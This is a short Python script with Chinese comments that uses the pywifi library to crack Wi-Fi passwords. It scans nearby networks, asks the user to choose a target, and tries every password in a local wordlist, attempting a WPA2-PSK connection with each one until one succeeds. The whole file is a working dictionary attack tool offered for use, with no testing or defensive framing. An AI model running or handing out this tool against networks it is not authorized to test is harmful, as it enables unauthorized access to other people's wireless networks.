import pywifi
from pywifi import const
import time
import chardet
# 获取编码信息
def detect_encoding(str_chardet):
    return chardet.detect(str_chardet.encode())['encoding']
# 获取网卡
def get_card():
    # 获取电脑网卡接口
    wifi = pywifi.PyWiFi()
    # 默认的无限网卡
    card = wifi.interfaces()[0]
    # 断开连接
    card.disconnect()
    time.sleep(1)
    # 获取网卡的状态
    status = card.status()
    # 如果是这两个值就是把网卡断开了
    # 0 IFACE_DISCONNECTED 没有连接
    # 2 IFACE_INACTIVE 没有激活
    if status not in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
        print("网卡未处于断开状态")
        return False
    return card
# 扫描wifi列表
def scan_wifi(card):
    print("开始扫描附近的wifi：")
    # 开始扫描附近的wifi（搜索wifi）
    card.scan()
    # 给15秒钟，尽量多的扫描wifi
    time.sleep(5)
    # 获取扫描到的wif列表
    wifi_list = card.scan_results()
    wifi_list_use = []
    index = 1
    for wifi_info in wifi_list:
        # 获取ssid
        wifi_ssid = wifi_info.ssid
        # 获取ssid的编码格式
        encoding = detect_encoding(wifi_ssid)
        if not encoding:
            continue
        if encoding == "ascii":
            print(f"{index}.SSID:{wifi_info.ssid}")
            wifi_list_use.append(wifi_info)
            index += 1
        else:
            try:
                print(f"{index}.SSID:{wifi_ssid.encode('raw_unicode_escape').decode('UTF-8')}")
                wifi_list_use.append(wifi_info)
                index += 1
            except UnicodeDecodeError:
                pass
    return wifi_list_use
# 破解指定wifi
def crack_wifi(wifi_ssid, card):
    file_path = "密码文件.txt"
    with open(file_path, "r") as pwd_file:
        for pwd in pwd_file:
            pwd = pwd.strip()
            if connect_to_wifi(pwd, wifi_ssid, card):
                print("正确密码：", pwd)
                return pwd
            else:
                print("错误密码：", pwd)
            time.sleep(3)
    return None
def connect_to_wifi(pwd,wifi_ssid,card):
    # 获取到wifi配置文件
    profile = pywifi.Profile()
    # 指定wifi配置文件
    profile.ssid = wifi_ssid
    # 密码
    profile.key = pwd
    # 认证的方法
    profile.auth = const.AUTH_ALG_OPEN
    # 加密算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 加密单元
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 删除wifi文件
    card.remove_all_network_profiles()
    # 设定新的临时的配置文件
    tmp_profile = card.add_network_profile(profile)
    # 开始连接
    card.connect(tmp_profile)
    time.sleep(5)
    if card.status() == const.IFACE_CONNECTED:
        is_connected = True
    else:
        is_connected = False
    # 断开 
    # card.disconnect()
    # time.sleep(1)
    return is_connected

card = get_card()
if not card:
    print("网卡关闭失败,请先关闭网卡")
else:
    wifi_list = scan_wifi(card)
    if not wifi_list:
        print("没有发现附近的wifi")
    else:
        target_wifi_index = int(input("请选择要破解的wifi序号：")) - 1
        # 目标wifi的名字
        target_wifi_ssid = wifi_list[target_wifi_index].ssid
        print("开始破解wifi：", target_wifi_ssid)
        result = crack_wifi(target_wifi_ssid, card)
        if result:
            print("破解成功：wifi密码是：", result)
        else:
            print("破解失败")
